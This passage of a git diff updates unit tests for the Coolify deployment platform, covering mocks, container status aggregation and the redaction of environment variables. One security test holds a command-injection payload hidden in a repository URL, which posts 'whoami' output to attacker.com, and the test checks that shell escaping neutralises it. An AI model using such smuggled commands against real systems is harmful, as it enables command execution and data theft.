self::query()->whereKey($this->getKey())->update(['docker_compose_raw' => self::$loadedCompose]);++ return [+ 'parsedServices' => collect(['services' => ['web' => ['image' => 'nginx']]]),+ 'initialDockerComposeLocation' => '/docker-compose.yaml',+ ];+ }+ };+ $application::$loadedCompose = $composeContent;+ $application = $application->newFromBuilder($storedApplication->getAttributes());++ $component = new General;+ $component->application = $application;++ expect($component->dockerComposeRaw)->toBeNull();++ $component->loadComposeFile(showToast: false);++ $dispatchedEvents = collect(store($component)->get('dispatched'))+ ->map(fn ($event): string => $event->serialize()['name']);++ expect($dispatchedEvents)->toContain('compose_loaded')->not->toContain('error')+ ->and($component->dockerComposeRaw)->toBe($composeContent)+ ->and($component->parsedServices->all())->toBe(['services' => ['web' => ['image' => 'nginx']]]);});diff --git a/tests/Unit/ApplicationDeploymentNixpacksNullEnvTest.php b/tests/Unit/ApplicationDeploymentNixpacksNullEnvTest.phpindex 4c7ec9d9df..294b0bb1a6 100644--- a/tests/Unit/ApplicationDeploymentNixpacksNullEnvTest.php+++ b/tests/Unit/ApplicationDeploymentNixpacksNullEnvTest.php@@ -4,6 +4,22 @@ use App\Jobs\ApplicationDeploymentJob;use App\Models\Application;use App\Models\ApplicationDeploymentQueue;use App\Models\EnvironmentVariable;+use App\Models\Server;+use Tests\TestCase;++uses(TestCase::class);++/**+ * Build an environment variable whose resolved value is fixed, without touching the database.+ */+function nixpacksEnvVariable(string $key, ?string $resolvedValue): EnvironmentVariable+{+ $env = Mockery::mock(EnvironmentVariable::class)->makePartial();+ $env->key = $key;+ $env->shouldReceive('getResolvedValueWithServer')->andReturn($resolvedValue);++ return $env;+}/*** Test to verify that null and empty environment variables are filtered out@@ -24,24 +40,15 @@ it('filters out null environment variables from nixpacks build command', functio$mockApplication->shouldReceive('getAttribute')->with('build_pack')->andReturn('nixpacks');- $mockApplication->build_pack = 'nixpacks';// Mock environment variables - some with null/empty values- $envVar1 = Mockery::mock(EnvironmentVariable::class);- $envVar1->key = 'VALID_VAR';- $envVar1->real_value = 'valid_value';+ $envVar1 = nixpacksEnvVariable('VALID_VAR', 'valid_value');- $envVar2 = Mockery::mock(EnvironmentVariable::class);- $envVar2->key = 'NULL_VAR';- $envVar2->real_value = null;+ $envVar2 = nixpacksEnvVariable('NULL_VAR', null);- $envVar3 = Mockery::mock(EnvironmentVariable::class);- $envVar3->key = 'EMPTY_VAR';- $envVar3->real_value = '';+ $envVar3 = nixpacksEnvVariable('EMPTY_VAR', '');- $envVar4 = Mockery::mock(EnvironmentVariable::class);- $envVar4->key = 'ANOTHER_VALID_VAR';- $envVar4->real_value = 'another_value';+ $envVar4 = nixpacksEnvVariable('ANOTHER_VALID_VAR', 'another_value');$nixpacksEnvVars = collect([$envVar1, $envVar2, $envVar3, $envVar4]);@@ -52,7 +59,6 @@ it('filters out null environment variables from nixpacks build command', functio// Mock application deployment queue$mockQueue = Mockery::mock(ApplicationDeploymentQueue::class);$mockQueue->shouldReceive('getAttribute')->with('application_id')->andReturn(1);- $mockQueue->application_id = 1;// Mock the job$job = Mockery::mock(ApplicationDeploymentJob::class)->makePartial();@@ -65,6 +71,10 @@ it('filters out null environment variables from nixpacks build command', functio$applicationProperty->setAccessible(true);$applicationProperty->setValue($job, $mockApplication);+ $mainServerProperty = $reflection->getProperty('mainServer');+ $mainServerProperty->setAccessible(true);+ $mainServerProperty->setValue($job, new Server);+$pullRequestProperty = $reflection->getProperty('pull_request_id');$pullRequestProperty->setAccessible(true);$pullRequestProperty->setValue($job, 0);@@ -111,16 +121,11 @@ it('filters out null environment variables from nixpacks preview deployments', f$mockApplication->shouldReceive('getAttribute')->with('build_pack')->andReturn('nixpacks');- $mockApplication->build_pack = 'nixpacks';// Mock preview environment variables - some with null/empty values- $envVar1 = Mockery::mock(EnvironmentVariable::class);- $envVar1->key = 'PREVIEW_VAR';- $envVar1->real_value = 'preview_value';+ $envVar1 = nixpacksEnvVariable('PREVIEW_VAR', 'preview_value');- $envVar2 = Mockery::mock(EnvironmentVariable::class);- $envVar2->key = 'NULL_PREVIEW_VAR';- $envVar2->real_value = null;+ $envVar2 = nixpacksEnvVariable('NULL_PREVIEW_VAR', null);$previewEnvVars = collect([$envVar1, $envVar2]);@@ -131,7 +136,6 @@ it('filters out null environment variables from nixpacks preview deployments', f// Mock application deployment queue$mockQueue = Mockery::mock(ApplicationDeploymentQueue::class);$mockQueue->shouldReceive('getAttribute')->with('application_id')->andReturn(1);- $mockQueue->application_id = 1;// Mock the job$job = Mockery::mock(ApplicationDeploymentJob::class)->makePartial();@@ -144,6 +148,10 @@ it('filters out null environment variables from nixpacks preview deployments', f$applicationProperty->setAccessible(true);$applicationProperty->setValue($job, $mockApplication);+ $mainServerProperty = $reflection->getProperty('mainServer');+ $mainServerProperty->setAccessible(true);+ $mainServerProperty->setValue($job, new Server);+$pullRequestProperty = $reflection->getProperty('pull_request_id');$pullRequestProperty->setAccessible(true);$pullRequestProperty->setValue($job, 123); // Non-zero for preview deployment@@ -178,16 +186,11 @@ it('handles all environment variables being null or empty', function () {$mockApplication->shouldReceive('getAttribute')->with('build_pack')->andReturn('nixpacks');- $mockApplication->build_pack = 'nixpacks';// Mock environment variables - all null or empty- $envVar1 = Mockery::mock(EnvironmentVariable::class);- $envVar1->key = 'NULL_VAR';- $envVar1->real_value = null;+ $envVar1 = nixpacksEnvVariable('NULL_VAR', null);- $envVar2 = Mockery::mock(EnvironmentVariable::class);- $envVar2->key = 'EMPTY_VAR';- $envVar2->real_value = '';+ $envVar2 = nixpacksEnvVariable('EMPTY_VAR', '');$nixpacksEnvVars = collect([$envVar1, $envVar2]);@@ -198,7 +201,6 @@ it('handles all environment variables being null or empty', function () {// Mock application deployment queue$mockQueue = Mockery::mock(ApplicationDeploymentQueue::class);$mockQueue->shouldReceive('getAttribute')->with('application_id')->andReturn(1);- $mockQueue->application_id = 1;// Mock the job$job = Mockery::mock(ApplicationDeploymentJob::class)->makePartial();@@ -211,6 +213,10 @@ it('handles all environment variables being null or empty', function () {$applicationProperty->setAccessible(true);$applicationProperty->setValue($job, $mockApplication);+ $mainServerProperty = $reflection->getProperty('mainServer');+ $mainServerProperty->setAccessible(true);+ $mainServerProperty->setValue($job, new Server);+$pullRequestProperty = $reflection->getProperty('pull_request_id');$pullRequestProperty->setAccessible(true);$pullRequestProperty->setValue($job, 0);@@ -284,16 +290,11 @@ it('preserves environment variables with zero values', function () {$mockApplication->shouldReceive('getAttribute')->with('build_pack')->andReturn('nixpacks');- $mockApplication->build_pack = 'nixpacks';// Mock environment variables with zero values (which should NOT be filtered)- $envVar1 = Mockery::mock(EnvironmentVariable::class);- $envVar1->key = 'ZERO_VALUE';- $envVar1->real_value = '0';+ $envVar1 = nixpacksEnvVariable('ZERO_VALUE', '0');- $envVar2 = Mockery::mock(EnvironmentVariable::class);- $envVar2->key = 'FALSE_VALUE';- $envVar2->real_value = 'false';+ $envVar2 = nixpacksEnvVariable('FALSE_VALUE', 'false');$nixpacksEnvVars = collect([$envVar1, $envVar2]);@@ -304,7 +305,6 @@ it('preserves environment variables with zero values', function () {// Mock application deployment queue$mockQueue = Mockery::mock(ApplicationDeploymentQueue::class);$mockQueue->shouldReceive('getAttribute')->with('application_id')->andReturn(1);- $mockQueue->application_id = 1;// Mock the job$job = Mockery::mock(ApplicationDeploymentJob::class)->makePartial();@@ -317,6 +317,10 @@ it('preserves environment variables with zero values', function () {$applicationProperty->setAccessible(true);$applicationProperty->setValue($job, $mockApplication);+ $mainServerProperty = $reflection->getProperty('mainServer');+ $mainServerProperty->setAccessible(true);+ $mainServerProperty->setValue($job, new Server);+$pullRequestProperty = $reflection->getProperty('pull_request_id');$pullRequestProperty->setAccessible(true);$pullRequestProperty->setValue($job, 0);diff --git a/tests/Unit/ApplicationGitSecurityTest.php b/tests/Unit/ApplicationGitSecurityTest.phpindex f983d4bf06..7a7abc5f3a 100644--- a/tests/Unit/ApplicationGitSecurityTest.php+++ b/tests/Unit/ApplicationGitSecurityTest.php@@ -3,11 +3,29 @@use App\Models\Application;use App\Models\GithubApp;use App\Models\PrivateKey;+use Illuminate\Support\Collection;afterEach(function () {Mockery::close();});+/**+ * Deploy key commands are a list of command entries (so key material can skip logging);+ * other deployment types return one shell string.+ *+ * @param array{commands: Collection|array|string} $result+ */+function gitSecurityLsRemoteCommandString(array $result): string+{+ if (is_string($result['commands'])) {+ return $result['commands'];+ }++ return collect($result['commands'])+ ->map(fn ($command) => is_array($command) ? $command['command'] : $command)+ ->implode(' && ');+}+it('escapes malicious repository URLs in deploy_key type', function () {// Arrange: Create a malicious repository URL$maliciousRepo = '[email protected]:user/repo.git;curl https://attacker.com/ -X POST --data `whoami`';@@ -32,13 +50,16 @@ it('escapes malicious repository URLs in deploy_key type', function () {// Assert: The command should contain escaped repository URLexpect($result)->toHaveKey('commands');- $command = $result['commands'];+ $command = gitSecurityLsRemoteCommandString($result);// The malicious payload should be escaped and not executedexpect($command)->toContain("'[email protected]:user/repo.git;curl https://attacker.com/ -X POST --data `whoami`'");- // The command should NOT contain unescaped semicolons or backticks that could execute- expect($command)->not->toContain('repo.git;curl');+ // Inside the docker `bash -c '...'` wrapper, the URL stays one single-quoted argument,+ // so the semicolon and backticks are never evaluated by either shell+ expect($command)+ ->toContain("git ls-remote '\\''[email protected]:user/repo.git;curl https://attacker.com/ -X POST --data `whoami`'\\''")+ ->not->toContain('ls-remote [email protected]');});it('escapes malicious repository URLs in source type with public repo', function () {@@ -69,7 +90,7 @@ it('escapes malicious repository URLs in source type with public repo', function// Assert: The command should contain escaped repository URLexpect($result)->toHaveKey('commands');- $command = $result['commands'];+ $command = gitSecurityLsRemoteCommandString($result);// The command should contain the escaped URL (escapeshellarg wraps in single quotes)expect($command)->toContain("'https://github.com/user/repo'\\''");@@ -94,7 +115,7 @@ it('escapes repository URLs in other deployment type', function () {// Assert: The command should contain escaped repository URLexpect($result)->toHaveKey('commands');- $command = $result['commands'];+ $command = gitSecurityLsRemoteCommandString($result);// The malicious payload should be escaped (escapeshellarg wraps and escapes quotes)expect($command)->toContain("'https://github.com/user/repo.git'\\''");@@ -108,13 +129,14 @@ it('preserves ssh scheme URLs with custom ports in deploy_key commands', functio$application->git_repository = 'ssh://[email protected]:22222/User/Repo.git';$application->private_key_id = 1;- $privateKey = new PrivateKey;- $privateKey->private_key = 'fake-private-key';+ $privateKey = Mockery::mock(PrivateKey::class)->makePartial();+ $privateKey->shouldReceive('getAttribute')->with('private_key')->andReturn('fake-private-key');$application->setRelation('private_key', $privateKey);+ $application->setRelation('source', null);$result = $application->generateGitLsRemoteCommands($deploymentUuid, false);- expect($result['commands'])+ expect(gitSecurityLsRemoteCommandString($result))->toContain("'ssh://[email protected]:22222/User/Repo.git'")->toContain('-p 22222')->not->toContain('ssh:/[email protected]:22222/User/Repo.git');diff --git a/tests/Unit/ApplicationPortDetectionTest.php b/tests/Unit/ApplicationPortDetectionTest.phpindex 241364a932..db2b79eb91 100644--- a/tests/Unit/ApplicationPortDetectionTest.php+++ b/tests/Unit/ApplicationPortDetectionTest.php@@ -25,11 +25,6 @@ it('detects PORT environment variable when present', function () {$portEnvVar = Mockery::mock(EnvironmentVariable::class);$portEnvVar->shouldReceive('getAttribute')->with('real_value')->andReturn('3000');- $envVars = new Collection([$portEnvVar]);- $application->shouldReceive('getAttribute')- ->with('environment_variables')- ->andReturn($envVars);-// Mock the firstWhere method to return our PORT env var$envVars = Mockery::mock(Collection::class);$envVars->shouldReceive('firstWhere')->with('key', 'PORT')->andReturn($portEnvVar);diff --git a/tests/Unit/CheckForUpdatesJobTest.php b/tests/Unit/CheckForUpdatesJobTest.phpindex 1dbc73e442..c098c5560b 100644--- a/tests/Unit/CheckForUpdatesJobTest.php+++ b/tests/Unit/CheckForUpdatesJobTest.php@@ -2,16 +2,25 @@use App\Jobs\CheckForUpdatesJob;use App\Models\InstanceSettings;+use Illuminate\Contracts\Queue\ShouldBeEncrypted;+use Illuminate\Contracts\Queue\ShouldQueue;+use Illuminate\Foundation\Testing\RefreshDatabase;use Illuminate\Support\Facades\Cache;use Illuminate\Support\Facades\File;use Illuminate\Support\Facades\Http;+use Illuminate\Support\Facades\Log;+use Illuminate\Support\Facades\Queue;+use Tests\TestCase;++uses(TestCase::class, RefreshDatabase::class);beforeEach(function () {Cache::flush();+ Queue::fake();- // Mock InstanceSettings- $this->settings = Mockery::mock(InstanceSettings::class);- $this->settings->shouldReceive('update')->andReturn(true);+ // The job reads the instance settings row (id 0) through instanceSettings().+ InstanceSettings::forceCreate(['id' => 0]);+ $this->settings = InstanceSettings::get();});afterEach(function () {@@ -22,8 +31,8 @@ it('has correct job configuration', function () {$job = new CheckForUpdatesJob;$interfaces = class_implements($job);- expect($interfaces)->toContain(\Illuminate\Contracts\Queue\ShouldQueue::class);- expect($interfaces)->toContain(\Illuminate\Contracts\Queue\ShouldBeEncrypted::class);+ expect($interfaces)->toContain(ShouldQueue::class);+ expect($interfaces)->toContain(ShouldBeEncrypted::class);});it('uses max of CDN and cache versions', function () {@@ -98,7 +107,11 @@ it('never downgrades from current running version', function () {// Running version is newestconfig(['constants.coolify.version' => '4.0.10']);- \Illuminate\Support\Facades\Log::shouldReceive('warning')+ Log::shouldReceive('warning')+ ->once()+ ->with('CDN served older Coolify version than cache', Mockery::type('array'));++ Log::shouldReceive('warning')->once()->with('Version downgrade prevented in CheckForUpdatesJob', Mockery::type('array'));@@ -169,11 +182,11 @@ it('preserves other component versions when preventing Coolify downgrade', functconfig(['constants.coolify.version' => '4.0.10']);- \Illuminate\Support\Facades\Log::shouldReceive('warning')+ Log::shouldReceive('warning')->once()->with('CDN served older Coolify version than cache', Mockery::type('array'));- \Illuminate\Support\Facades\Log::shouldReceive('warning')+ Log::shouldReceive('warning')->once()->with('Version downgrade prevented in CheckForUpdatesJob', Mockery::type('array'));diff --git a/tests/Unit/ClickhouseOfficialImageMigrationTest.php b/tests/Unit/ClickhouseOfficialImageMigrationTest.phpindex 054dc44237..8057a9a38a 100644--- a/tests/Unit/ClickhouseOfficialImageMigrationTest.php+++ b/tests/Unit/ClickhouseOfficialImageMigrationTest.php@@ -1,6 +1,9 @@<?phpuse App\Models\StandaloneClickhouse;+use Tests\TestCase;++uses(TestCase::class);test('clickhouse uses clickhouse_db field in internal connection string', function () {$clickhouse = new StandaloneClickhouse;diff --git a/tests/Unit/CloudProviderTokenFormViewTest.php b/tests/Unit/CloudProviderTokenFormViewTest.phpindex 9662ebc679..58e0e60777 100644--- a/tests/Unit/CloudProviderTokenFormViewTest.php+++ b/tests/Unit/CloudProviderTokenFormViewTest.php@@ -1,65 +1,14 @@<?php-it('allows selecting Vultr in cloud provider token forms', function () {- $view = file_get_contents(__DIR__.'/../../resources/views/livewire/security/cloud-provider-token-form.blade.php');- $component = file_get_contents(__DIR__.'/../../app/Livewire/Security/CloudProviderTokenForm.php');-- expect($view)->toContain('<x-forms.select required id="provider" label="Provider" wire:model.live="provider">')- ->and($view)->toContain('<option value="vultr">Vultr</option>')- ->and($view)->toContain('<option value="digitalocean">DigitalOcean</option>')- ->and(substr_count($view, 'Open Account → API Access.'))->toBe(2)- ->and(substr_count($view, 'https://console.vultr.com/user/apiaccess/'))->toBe(2)- ->and($view)->not->toContain('cloudProviderTokens->where(\'provider\', $provider)->isEmpty()')- ->and($view)->not->toContain('<x-forms.select required id="provider" label="Provider" disabled>')- ->and($component)->toContain("'provider' => 'required|string|in:hetzner,digitalocean,vultr'");-});--it('keeps provider affiliate links on server provider views', function () {- $tokenFormView = file_get_contents(__DIR__.'/../../resources/views/livewire/security/cloud-provider-token-form.blade.php');- $hetznerView = file_get_contents(__DIR__.'/../../resources/views/livewire/server/new/by-hetzner.blade.php');- $vultrView = file_get_contents(__DIR__.'/../../resources/views/livewire/server/new/by-vultr.blade.php');- $digitalOceanView = file_get_contents(__DIR__.'/../../resources/views/livewire/server/new/by-digital-ocean.blade.php');-- expect($tokenFormView)- ->not->toContain('https://coolify.io/hetzner')- ->not->toContain('https://coolify.io/vultr')- ->and($hetznerView)->toContain('https://coolify.io/hetzner')- ->and($vultrView)->toContain('https://coolify.io/vultr')- ->and($digitalOceanView)->toContain('https://coolify.io/digitalocean');-});--it('uses a provider dropdown and modal forms on cloud provider tokens page', function () {+it('gates new cloud tokens and keys saved token rows by id', function () {$view = file_get_contents(__DIR__.'/../../resources/views/livewire/security/cloud-provider-tokens.blade.php');- expect($view)->toContain('+ Add')- ->and($view)->toContain('<div class="flex items-center gap-2">')- ->and($view)->toContain('<div class="grid gap-4 lg:grid-cols-2">')- ->and($view)->toContain('class="coolbox group"')- ->and($view)->toContain('<div class="box-title">')- ->and($view)->toContain('<div class="box-description">')- ->and($view)->toContain('<x-forms.button isHighlighted @click="dropdownOpen = !dropdownOpen" type="button">')- ->and($view)->toContain('Add Hetzner Token')- ->and($view)->toContain('Add DigitalOcean Token')- ->and($view)->toContain('Add Vultr Token')- ->and($view)->toContain('<livewire:security.cloud-provider-token-form :modal_mode="true" provider="hetzner"')- ->and($view)->toContain('<livewire:security.cloud-provider-token-form :modal_mode="true" provider="digitalocean"')- ->and($view)->toContain('<livewire:security.cloud-provider-token-form :modal_mode="true" provider="vultr"')- ->and($view)->not->toContain('<h3>New Token</h3>')- ->and($view)->not->toContain(':modal_mode="false"')- ->and($view)->not->toContain('wire:click="validateToken')- ->and($view)->not->toContain('submitAction="deleteToken')- ->and($view)->not->toContain('Created {{ $savedToken->created_at->diffForHumans() }}');+ expect($view)->toContain("@can('create', App\\Models\\CloudProviderToken::class)")+ ->and($view)->toContain('wire:key="cloud-token-{{ $savedToken->id }}"');});-it('shows explicit loading spinners and disables cloud token action buttons while requests run', function () {- $tokenFormView = file_get_contents(__DIR__.'/../../resources/views/livewire/security/cloud-provider-token-form.blade.php');- $tokenShowView = file_get_contents(__DIR__.'/../../resources/views/livewire/security/cloud-provider-token/show.blade.php');+it('gates the server cloud token action behind the update permission', function () {$serverTokenView = file_get_contents(__DIR__.'/../../resources/views/livewire/server/cloud-provider-token/show.blade.php');- expect($tokenFormView)->toContain('wire:target="addToken"')- ->and($tokenFormView)->toContain('<x-forms.button type="submit"')- ->and($tokenShowView)->toContain('wire:click="validateToken"')- ->and($tokenShowView)->toContain('<x-forms.button type="button" wire:click="validateToken">')- ->and($serverTokenView)->toContain('wire:click.prevent="validateToken"')- ->and($serverTokenView)->toContain('<x-forms.button canGate="update" :canResource="$server"');+ expect($serverTokenView)->toContain('<x-forms.button canGate="update" :canResource="$server"');});diff --git a/tests/Unit/ComposerAuthEnvEscapingTest.php b/tests/Unit/ComposerAuthEnvEscapingTest.phpindex d23af40e11..ff6eae0aa1 100644--- a/tests/Unit/ComposerAuthEnvEscapingTest.php+++ b/tests/Unit/ComposerAuthEnvEscapingTest.php@@ -12,13 +12,27 @@ use App\Models\EnvironmentVariable;*/const COMPOSER_AUTH_JSON = '{"http-basic":{"backpackforlaravel.com":{"username":"ourusername","password":"ourpassword"}}}';+/**+ * A resource whose relations realValue() treats as already loaded, so no query runs.+ */+function composerAuthResourceStub(): object+{+ return new class+ {+ public function relationLoaded(string $relation): bool+ {+ return true;+ }+ };+}+// ---------------------------------------------------------------------------// Test 1: realValue accessor returns raw JSON for non-literal env vars// ---------------------------------------------------------------------------it('realValue accessor returns raw JSON without escaping quotes', function () {$env = Mockery::mock(EnvironmentVariable::class)->makePartial();$env->shouldReceive('relationLoaded')->with('resourceable')->andReturn(true);- $env->shouldReceive('getAttribute')->with('resourceable')->andReturn(new stdClass);+ $env->shouldReceive('getAttribute')->with('resourceable')->andReturn(composerAuthResourceStub());$env->shouldReceive('getAttribute')->with('value')->andReturn(COMPOSER_AUTH_JSON);$env->shouldReceive('getAttribute')->with('is_literal')->andReturn(false);$env->shouldReceive('getAttribute')->with('is_multiline')->andReturn(false);@@ -37,7 +51,7 @@ it('realValue accessor returns raw JSON without escaping quotes', function () {it('realValue accessor for literal JSON env returns raw value without wrapping', function () {$env = Mockery::mock(EnvironmentVariable::class)->makePartial();$env->shouldReceive('relationLoaded')->with('resourceable')->andReturn(true);- $env->shouldReceive('getAttribute')->with('resourceable')->andReturn(new stdClass);+ $env->shouldReceive('getAttribute')->with('resourceable')->andReturn(composerAuthResourceStub());$env->shouldReceive('getAttribute')->with('value')->andReturn(COMPOSER_AUTH_JSON);$env->shouldReceive('getAttribute')->with('is_literal')->andReturn(true);$env->shouldReceive('getAttribute')->with('is_multiline')->andReturn(false);@@ -56,7 +70,7 @@ it('realValue accessor for literal JSON env returns raw value without wrapping',it('realValue accessor still escapes non-JSON values with quotes', function () {$env = Mockery::mock(EnvironmentVariable::class)->makePartial();$env->shouldReceive('relationLoaded')->with('resourceable')->andReturn(true);- $env->shouldReceive('getAttribute')->with('resourceable')->andReturn(new stdClass);+ $env->shouldReceive('getAttribute')->with('resourceable')->andReturn(composerAuthResourceStub());$env->shouldReceive('getAttribute')->with('value')->andReturn('hello "world"');$env->shouldReceive('getAttribute')->with('is_literal')->andReturn(false);$env->shouldReceive('getAttribute')->with('is_multiline')->andReturn(false);@@ -76,7 +90,7 @@ it('realValue accessor returns raw JSON array without escaping', function () {$env = Mockery::mock(EnvironmentVariable::class)->makePartial();$env->shouldReceive('relationLoaded')->with('resourceable')->andReturn(true);- $env->shouldReceive('getAttribute')->with('resourceable')->andReturn(new stdClass);+ $env->shouldReceive('getAttribute')->with('resourceable')->andReturn(composerAuthResourceStub());$env->shouldReceive('getAttribute')->with('value')->andReturn($jsonArray);$env->shouldReceive('getAttribute')->with('is_literal')->andReturn(false);$env->shouldReceive('getAttribute')->with('is_multiline')->andReturn(false);diff --git a/tests/Unit/ContainerHealthStatusTest.php b/tests/Unit/ContainerHealthStatusTest.phpindex 0b33db4700..4db1b24d22 100644--- a/tests/Unit/ContainerHealthStatusTest.php+++ b/tests/Unit/ContainerHealthStatusTest.php@@ -1,6 +1,7 @@<?phpuse App\Models\Application;+use App\Services\ContainerStatusAggregator;/*** Unit tests to verify that containers without health checks are not@@ -178,15 +179,18 @@ it('preserves unknown health state in ContainerStatusAggregator aggregated statuit('preserves unknown health state in Service model aggregation', function () {$serviceFile = file_get_contents(__DIR__.'/../../app/Models/Service.php');- // Verify unknown is handled correctly+ // Service model delegates its state machine to ContainerStatusAggregatorexpect($serviceFile)- ->toContain("} elseif (\$health->value() === 'unknown') {")- ->toContain("if (\$aggregateHealth !== 'unhealthy') {")- ->toContain("\$aggregateHealth = 'unknown';");+ ->toContain('use App\\Services\\ContainerStatusAggregator;')+ ->toContain('$aggregator = new ContainerStatusAggregator;')+ ->toContain('$aggregator->aggregateFromStrings($statusStrings);');++ $aggregator = new ContainerStatusAggregator;- // The pattern should appear at least once (Service model has different aggregation logic than ContainerStatusAggregator)- $unknownCount = substr_count($serviceFile, "} elseif (\$health->value() === 'unknown') {");- expect($unknownCount)->toBeGreaterThan(0);+ // Unknown health must not be upgraded to healthy, and unhealthy must win over unknown+ expect($aggregator->aggregateFromStrings(collect(['running:unknown'])))->toBe('running:unknown')+ ->and($aggregator->aggregateFromStrings(collect(['running:healthy', 'running:unknown'])))->toBe('running:unknown')+ ->and($aggregator->aggregateFromStrings(collect(['running:unknown', 'running:unhealthy'])))->toBe('running:unhealthy');});it('handles starting state (created/starting) in GetContainersStatus', function () {@@ -287,17 +291,16 @@ it('handles edge case states in ContainerStatusAggregator aggregation', functionit('handles edge case states in Service model', function () {$serviceFile = file_get_contents(__DIR__.'/../../app/Models/Service.php');- // Check for created/starting handling pattern- $createdStartingCount = substr_count($serviceFile, "\$status->startsWith('created') || \$status->startsWith('starting')");- expect($createdStartingCount)->toBeGreaterThan(0, 'created/starting handling should exist');+ // Service model delegates edge case handling to ContainerStatusAggregator+ expect($serviceFile)->toContain('$aggregator->aggregateFromStrings($statusStrings);');- // Check for paused handling pattern- $pausedCount = substr_count($serviceFile, "\$status->startsWith('paused')");- expect($pausedCount)->toBeGreaterThan(0, 'paused handling should exist');+ $aggregator = new ContainerStatusAggregator;- // Check for dead/removing handling pattern- $deadRemovingCount = substr_count($serviceFile, "\$status->startsWith('dead') || \$status->startsWith('removing')");- expect($deadRemovingCount)->toBeGreaterThan(0, 'dead/removing handling should exist');+ expect($aggregator->aggregateFromStrings(collect(['created'])))->toBe('starting:unknown')+ ->and($aggregator->aggregateFromStrings(collect(['starting'])))->toBe('starting:unknown')+ ->and($aggregator->aggregateFromStrings(collect(['paused'])))->toBe('paused:unknown')+ ->and($aggregator->aggregateFromStrings(collect(['dead'])))->toBe('degraded:unhealthy')+ ->and($aggregator->aggregateFromStrings(collect(['removing'])))->toBe('degraded:unhealthy');});it('appends :excluded suffix to excluded container statuses in GetContainersStatus', function () {diff --git a/tests/Unit/CoolifyUpgradeStatusTest.php b/tests/Unit/CoolifyUpgradeStatusTest.phpindex 2248e382b5..f701a8a6d3 100644--- a/tests/Unit/CoolifyUpgradeStatusTest.php+++ b/tests/Unit/CoolifyUpgradeStatusTest.php@@ -119,60 +119,6 @@ it('ignores stale status files older than ten minutes', function () {expect($result['status'])->toBe('none');});-it('checks the running version through authenticated upgrade status before showing reload', function () {- $upgradeView = file_get_contents(__DIR__.'/../../resources/views/livewire/upgrade.blade.php');-- expect($upgradeView)- ->not->toContain('X-Coolify-Version')- ->toContain('this.$wire.getUpgradeStatus()')- ->toContain("data.status === 'complete'")- ->toContain('livewireFailures');-});--it('uses the public health endpoint only for liveness during an upgrade', function () {- $upgradeView = file_get_contents(__DIR__.'/../../resources/views/livewire/upgrade.blade.php');-- expect($upgradeView)- ->toContain('instanceWentDown')- ->toContain('startHealthWatch')- ->toContain("fetch('/api/health')")- ->not->toContain('response.headers.get');-});--it('finishes after health recovers from observed downtime for older target releases', function () {- $upgradeView = file_get_contents(__DIR__.'/../../resources/views/livewire/upgrade.blade.php');-- expect($upgradeView)- ->toContain("data.status === 'none' && this.instanceWentDown")- ->toContain('if (this.instanceWentDown) {')- ->toContain('this.showSuccess();')- ->toContain('return;');-});--it('finishes when the post-restart Livewire status response is undefined', function () {- $upgradeView = file_get_contents(__DIR__.'/../../resources/views/livewire/upgrade.blade.php');-- expect($upgradeView)- ->toContain('if (!data) {')- ->toContain('if (this.instanceWentDown) {')- ->toContain('this.showSuccess();')- ->toContain('return;');-});--it('tells users to reload manually if the automatic reload does not happen', function () {- $upgradeView = file_get_contents(__DIR__.'/../../resources/views/livewire/upgrade.blade.php');-- expect($upgradeView)->toContain('If the page does not reload automatically, reload it manually.');-});--it('starts the upgrade after the Livewire response so status polling is not blocked', function () {- $upgradeComponent = file_get_contents(__DIR__.'/../../app/Livewire/Upgrade.php');-- expect($upgradeComponent)- ->toContain('afterResponse()')- ->toContain('CoolifyUpgradeStatus::fromFile');-});-it('reports whether the running version has reached the target', function (string $running, string $target, bool $reached) {expect(CoolifyUpgradeStatus::hasReachedTargetVersion($running, $target))->toBe($reached);})->with([diff --git a/tests/Unit/DatabaseCredentialValidationPatternTest.php b/tests/Unit/DatabaseCredentialValidationPatternTest.phpindex 9331b4cbdc..1a0403acd6 100644--- a/tests/Unit/DatabaseCredentialValidationPatternTest.php+++ b/tests/Unit/DatabaseCredentialValidationPatternTest.php@@ -2,6 +2,9 @@use App\Support\ValidationPatterns;use Illuminate\Support\Facades\Validator;+use Tests\TestCase;++uses(TestCase::class);// ── DB_IDENTIFIER_PATTERN ─────────────────────────────────────────────────────diff --git a/tests/Unit/DeploymentConfiguration/ApplicationConfigurationSnapshotTest.php b/tests/Unit/DeploymentConfiguration/ApplicationConfigurationSnapshotTest.phpindex 140be57643..1e2e0d796c 100644--- a/tests/Unit/DeploymentConfiguration/ApplicationConfigurationSnapshotTest.php+++ b/tests/Unit/DeploymentConfiguration/ApplicationConfigurationSnapshotTest.php@@ -333,6 +333,32 @@ it('detects environment variable value changes without exposing secret values',$diff = $application->refresh()->pendingDeploymentConfigurationDiff();$change = collect($diff->changes())->firstWhere('label', 'API_TOKEN');+ // Locked (is_shown_once) variables are always redacted in the diff+ expect($change)->not->toBeNull()+ ->and($change['display_summary'])->toBe('Changed')+ ->and($change['old_display_value'])->toBe('••••••••')+ ->and($change['new_display_value'])->toBe('••••••••')+ ->and(json_encode($diff->toArray()))->not->toContain('old-secret')->not->toContain('new-secret');+});++it('detects environment variable value changes for unlocked variables', function () {+ $application = snapshotTestApplication();+ EnvironmentVariable::create([+ 'key' => 'API_TOKEN',+ 'value' => 'old-secret',+ 'is_buildtime' => false,+ 'is_runtime' => true,+ 'is_preview' => false,+ 'is_shown_once' => false,+ 'resourceable_type' => Application::class,+ 'resourceable_id' => $application->id,+ ]);+ markSnapshotTestApplicationDeployed($application->refresh());++ $application->environment_variables()->where('key', 'API_TOKEN')->first()->update(['value' => 'new-secret']);+ $diff = $application->refresh()->pendingDeploymentConfigurationDiff();+ $change = collect($diff->changes())->firstWhere('label', 'API_TOKEN');+expect($change)->not->toBeNull()->and($change['display_summary'])->toBeNull()->and($change['old_display_value'])->toBe('old-secret')@@ -350,7 +376,7 @@ it('describes added unlocked environment variables with their value', function ('is_buildtime' => false,'is_runtime' => true,'is_preview' => false,- 'is_shown_once' => true,+ 'is_shown_once' => false,'resourceable_type' => Application::class,'resourceable_id' => $application->id,]);diff --git a/tests/Unit/DigitalOceanDeleteServerTest.php b/tests/Unit/DigitalOceanDeleteServerTest.phpindex 60cd5ba502..4867c09655 100644--- a/tests/Unit/DigitalOceanDeleteServerTest.php+++ b/tests/Unit/DigitalOceanDeleteServerTest.php@@ -6,7 +6,6 @@ use App\Models\PrivateKey;use App\Models\Server;use App\Models\Team;use Illuminate\Foundation\Testing\RefreshDatabase;-use Illuminate\Http\Client\RequestException;use Illuminate\Support\Facades\Http;use Tests\TestCase;@@ -74,7 +73,7 